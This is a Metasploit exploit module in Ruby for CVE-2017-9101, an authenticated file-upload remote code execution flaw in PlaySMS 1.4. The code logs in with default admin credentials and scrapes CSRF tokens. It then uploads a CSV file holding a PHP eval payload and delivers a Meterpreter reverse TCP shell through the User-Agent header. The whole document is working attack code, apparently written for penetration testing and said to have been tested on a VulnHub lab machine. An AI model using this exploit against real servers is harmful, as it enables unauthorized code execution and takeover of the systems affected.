##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'PlaySMS import.php Authenticated CSV File Upload Code Execution',
'Description' => %q{
This module exploits an authenticated file upload remote code excution vulnerability
in PlaySMS Version 1.4. This issue is caused by improper file contents handling in
import.php (aka the Phonebook import feature). Authenticated Users can upload a CSV
file containing a malicious payload via vectors involving the User-Agent HTTP header
and PHP code in the User-Agent.
This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7.
},
'Author' =>
[
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>' # Discoverys and Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE','2017-9101'],
['URL','https://www.youtube.com/watch?v=KIB9sKQdEwE'],
['EDB','42044']
],
'DefaultOptions' =>
{
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'ENCODER' => 'php/base64',
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'PlaySMS 1.4', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 21 2017'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin'])
])
end
def uri
return target_uri.path
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php')
})
rescue
vprint_error('Unable to access the index.php file')
return CheckCode::Unknown
end
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')
return Exploit::CheckCode::Appears
end
return CheckCode::Safe
end
def login
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'vars_get' => {
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login',
}
})
# Grabbing CSRF token from body
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("X-CSRF-Token for login : #{csrf}")
cookies = res.get_cookies
vprint_status('Trying to Login ......')
# Send Creds with cookies.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login',
'op' => 'login',
}.to_a.shuffle],
'vars_post' => Hash[{
'X-CSRF-Token' => csrf,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}.to_a.shuffle],
})
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?
# Try to access index page with authenticated cookie.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
})
# if we redirect to core_welcome dan we assume we have authenticated cookie.
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome')
print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
return cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
end
end
# Tested successfully on Dina: 1.0.1 machine on vulnhub.
# Link : https://www.vulnhub.com/entry/dina-101,200/
def exploit
cookies = login
# Agian CSRF token.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'feature_phonebook',
'route' => 'import',
'op' => 'list',
}.to_a.shuffle]
})
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?
# Grabbing CSRF token from body
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("X-CSRF-Token for upload : #{csrf}")
# Payload.
evil = "<?php $t=$_SERVER['HTTP_USER_AGENT']; eval($t); ?>"
#making csv file body
final_csv = "Name,Email,Department\n"
final_csv << "#{evil},#{rand(1..100)},#{rand(1..100)}"
# setup POST request.
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token
post_data.add_part(final_csv, content_type = 'text/csv', transfer_encoding = nil, content_disposition = 'form-data; name="fnpb"; filename="agent22.csv"') #payload
data = post_data.to_s
vprint_status('Trying to upload malicious CSV file ....')
# Lets Send Upload request.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'POST',
'agent' => payload.encode,
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'feature_phonebook',
'route' => 'import',
'op' => 'import',
}.to_a.shuffle],
'headers' => {
'Upgrade-Insecure-Requests' => '1',
},
'Connection' => 'close',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
})
end
end
